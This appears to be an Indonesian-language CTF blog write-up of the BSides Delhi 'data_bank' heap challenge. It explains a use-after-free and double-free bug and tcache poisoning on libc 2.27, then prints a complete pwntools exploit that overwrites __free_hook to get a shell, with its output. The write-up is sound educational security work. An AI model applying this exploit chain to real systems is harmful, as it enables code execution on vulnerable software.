Bsides Delhi CTF Writeup data_bank challenge

Data Bank

Binary dengan full proteksi.

[*] '/home/n0psledbyte/ctf/bsides-delhi/data_bank'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Seperti binary pada challenge heap exploit pada umumnya. Disini kita bisa membuat (malloc), melihat, mengedit, dan menghapus (free) data pada heap.

% ./data_bank
----------DATA BANK----------
1) Add data
2) Edit data
3) Remove data
4) View data
5) Exit
>> 1
Enter the index:
0
Enter the size:
20
Enter data:
hellowworld

Binary ini mempunyai bug yang cukup jelas yaitu use after free : kita dapat melihat dan mengedit data yang telah di free, double free : yaitu kita dapat menghapus data lebih dari satu kali. Di challenge ini kita tidak di bolehkan untuk melakukan malloc lebih dari 7 kali dan memfree hanya 5 kali saja.

Dari hasil decompile dan reversing kira2 source codenya seperti ini.

int add()
{
  int result; // eax@1
  signed int i; // [sp+Ch] [bp-4h]@1

  puts("Enter the index:");
  result = get_int("Enter the index:");
  i = result;
  while ( i >= 0 && i <= 6 )
  {
    if ( table[i] )
      return puts("The idx is occupied\n");
    puts("Enter the size:");
    size[i] = get_int("Enter the size:");
    if ( size[i] >= 0 && size[i] <= 1024 )
    {
      table[i] = malloc(size[i]);
      if ( table[i] )
      {
        puts("Enter data:");
        result = get_inp((void *)table[i], size[i]);
      }
      else
      {
        result = puts("malloc_error");
      }
      return result;
    }
    result = puts("Invalid size");
  }
  return result;
}

int count = 5;
int delete()
{
  int result; // eax@1
  int v1; // eax@4
  signed int v2; // [sp+Ch] [bp-4h]@1

  puts("Enter the index:");
  result = get_int("Enter the index:");
  v2 = result;
  while ( v2 >= 0 && v2 <= 6 )
  {
    if ( !table[v2] )
      return puts("The index is empty");
    v1 = count--;
    if ( v1 )
    {
      free((void *)table[v2]);
      return puts("done");
    }
    result = puts("Sorry no more removal\n");
  }
  return result;
  }

Challenge ini menggunakan libc versi 2.27. Di libc versi 2.27 terdapat fitur baru pada malloc yang dinamakan tcache (threading local cache, bisa digoogling). Jadi cara mengexploitnya juga agak berbeda dengan libc versi2 sebelumnya.

Information Leak

Kalo dilihat source code diatas, kita tidak boleh melakukan malloc dengan ukuran yang lebih dari 0x400 (1024). Sementara agar kita mendapat libc leak, kita diharuskan memfree chunk yang sizenya lebih dari 0x410 (supaya masuk ke unsortedbin) karena kalau chunk yang difree sizenya dibawah 0x400 maka chunknya akan ditaruh di tcachebin dan karena ada di tcachebin, fd pointer pada chunk yang telah difree tersebut tidak berisi address main arena (tidak seperti jika chunk yang telah difree masuk ke smallbin atau unsortedbin).

Jadi skenario saya adalah dengan mengubah ukuran chunk dari 0x411 (0x400 + overhead) menjadi 0x431 (0x420 + overhead) dengan langkah2 :
1. Alokasi data dengan ukuran 0x400, taruh di index pertama pada variable array table
2. Alokasi data dengan ukuran 0x20, tarush di index kedua
3. Alokasi data dengan ukuran 0x20, tarush di index ketiga
4. Hapus data pada index kedua (Salah satu item pada tcachebin akan menunjuk ke chunk index kedua ini)
5. Hapus data pada index ketiga (fd pointer pada chunk index ketiga akan menunjuk ke alamat chunk index kedua)
6. Lihat data pada index ketiga (kita akan mendapatkan alamat heap, hitung agar kita mendapat alamat base heap)
7. Hitung menggunakan alamat base heap agar kita mendapatkan alamat size chunk pada index pertama (alamat size chunk = alamat chunk – 8)
8. Overwrite fd pointer pada chunk index ketiga dengan nilai yang telah di hitung pada langkah sebelumnya.
9. Alokasi data dengan ukuran 0x20, taruh di index keempat (ini akan menghasilkan alamat yang sama seperti alamat chunk pada index ketiga)
10. Alokasi data dengan ukuran 0x20, taruh di index kelima (ini akan menghasilkan alamat size pada chunk index pertama (ini disebabkan fd pointer pada chunk index ke-3 sudah dioverwrite dengan alamat size pada chunk pertama))
11. Edit chunk pada index ke-5 dengan nilai 0x431 (0x420 + overhead) ini akan mengubah size chunk pertama menjadi 0x431
12. Hapus (free) chunk index pertama, sehingga kita mendapat alamat main arena, yang bisa kita hitung agar mendapatkan alamat base libc.
13. Lihat data pada index pertama. Maka program akan memprint alamat main arena, hitung agar mendapatkan alamat base libc.

Dengan langkah – langkah diatas kita dapat mendapatkan alamat base heap dan base libc.

Make a malloc return to an arbitrary address.

Sekarang gampang, tinggal overwrite fd pointer pada salah satu chunk yang berada di tcache list dengan alamat __free_hook atau __malloc_hook sehingga pada malloc berikutnya akan menghasilkan alamat tersebut. Overwrite __free_hook dengan one_gadget, profit.
Dibawah ini adalah full exploitnya.

from pwn import *

context.terminal = "tmux splitw -h -f".split()
p = process("./data_bank")
#p = remote("35.200.202.92", 1337)
DEBUG = 1
cmd = ""
libc = ELF('./libc.so.6')
if DEBUG:
    gdb.attach(p, cmd, gdb_args=["--init-eval-command='source /ctf/tools/gef/gef.py'"])

def goto(n):
    p.sendlineafter(">> ", str(n))
def add_data(idx, size, data):
    goto(1)
    p.recvline()
    p.sendline(str(idx))
    p.recvline()
    p.sendline(str(size))
    p.recvline()
    p.sendline(str(data))
    return

def delete_data(idx):
    goto(3)
    p.recvline()
    p.sendline(str(idx))
    return

def view_data(idx):
    goto(4)
    p.recvline()
    p.sendline(str(idx))
    p.recvuntil("Your data :")
    data = p.recvuntil("\n\n", drop=True)
    return data

def edit_data(idx, new_data):
    goto(2)
    p.recvline()
    p.sendline(str(idx))
    p.recvline()
    p.sendline(str(new_data))

add_data(0, 0x400, "AAAAAAAAAAAAA")
add_data(1, 20, "BBBBBBBBBBBB")
add_data(2, 20, "BBBBBBBBBBBB")
delete_data(1)
delete_data(2)
pause()
leak = u64(view_data(2).ljust(8, "\x00"))
heap_base = leak - 0x670
print(hex(heap_base))
chunk0 = heap_base + 0x258
print(hex(chunk0))
edit_data(2, p64(chunk0)) # Set fd pointer to point chunk's size adress
pause()
add_data(3, 20, "CCCCCCCCCCCC")
add_data(4, 20, p64(0x431)) # Overwrite first chunk's size (0x420 + overhead)
pause()
delete_data(0) # Delete first chunk, so we get libc address
pause()
leak= u64(view_data(0).ljust(8, "\x00"))
base_libc = leak - 4111520
libc.address = base_libc
free_hook = libc.symbols['__free_hook']
print(hex(base_libc))
print(hex(free_hook))
delete_data(3)
edit_data(3, p64(free_hook))
add_data(5, 20, "")
add_data(6, 20, p64(base_libc + 0x4f322))
delete_data(2)
p.interactive()

Karena service sudah down, demo dibawah ini dijalankan pada mesin lokal.

vagrant@ubuntu-bionic:/ctf/bsides-delhi$ python data_bank.py
[+] Starting local process './data_bank': pid 6130
[*] '/ctf/bsides-delhi/libc.so.6'
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
0x5569bb4e5000
0x5569bb4e5258
0x7f352b6ad000
0x7f352ba9a8e8
[*] Switching to interactive mode
$ id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
$ whoami
vagrant

demo

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s